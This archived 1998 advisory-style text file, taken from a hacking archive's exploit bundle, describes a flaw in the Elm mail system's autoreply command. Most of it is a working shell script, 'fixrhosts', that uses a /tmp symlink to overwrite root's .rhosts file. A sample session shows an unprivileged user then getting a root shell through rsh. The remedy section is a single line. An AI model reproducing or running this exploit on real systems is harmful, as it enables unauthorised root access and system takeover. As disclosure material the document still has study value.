home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / autoreply.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  70 lines

  1. COMMAND
  2.  
  3.     autoreply(1)
  4.  
  5. SYSTEMS AFFECTED
  6.  
  7.     Any system with  a standard installation  of The Elm  Mail System.
  8.     All versions are belived to have this vulnerability.
  9.  
  10. PROBLEM
  11.  
  12.     autoreply(1) can  be used  to create  root owned  files, with mode
  13.     666.  It  can  also  overwrite  any file with semi user-controlled
  14.     data.
  15.  
  16.     This  example  demonstrates  how  to  become root on most affected
  17.     machines  by  modifying  root's  .rhosts  file.   Please do not do
  18.     this unless you have permission.
  19.  
  20.     Create the following script, 'fixrhosts':
  21.  
  22.     --------------------------- cut here ----------------------------
  23.     #!/bin/sh
  24.     #
  25.     # fixrhosts rhosts-file user machine
  26.     #
  27.     if [ $# -ne 3 ]; then
  28.             echo "Usage: `basename $0` rhosts-file user machine"
  29.             exit 1
  30.     fi
  31.     RHOSTS="$1"
  32.     USERNAME="$2"
  33.     MACHINE="$3"
  34.     cd $HOME
  35.     echo x > "a
  36.     $MACHINE $USERNAME
  37.     b"
  38.     umask 022
  39.     autoreply "a
  40.     $MACHINE $USERNAME
  41.     b"
  42.     cat > /tmp/.rhosts.sh.$$ << 'EOF'
  43.     ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
  44.     exec autoreply off
  45.     exit 0
  46.     EOF
  47.     /bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
  48.     rm -f /tmp/.rhosts.sh.$$ "a
  49.     $MACHINE $USERNAME
  50.     b"
  51.     exit 0
  52.     --------------------------- cut here ----------------------------
  53.  
  54.     (Lines marked with > represent user input)
  55.  
  56. >   % id
  57.     uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
  58. >   % ./fixrhosts ~root/.rhosts 8lgm localhost
  59.     You've been added to the autoreply system.
  60.     You've been removed from the autoreply table.
  61. >   % rsh localhost -l root csh -i
  62.     Warning: no access to tty.
  63.     Thus no job control in this shell.
  64.     #
  65.  
  66. SOLUTION
  67.  
  68.     Disable autoreply. Wait for a patch from the Elm maintainers.
  69.  
  70.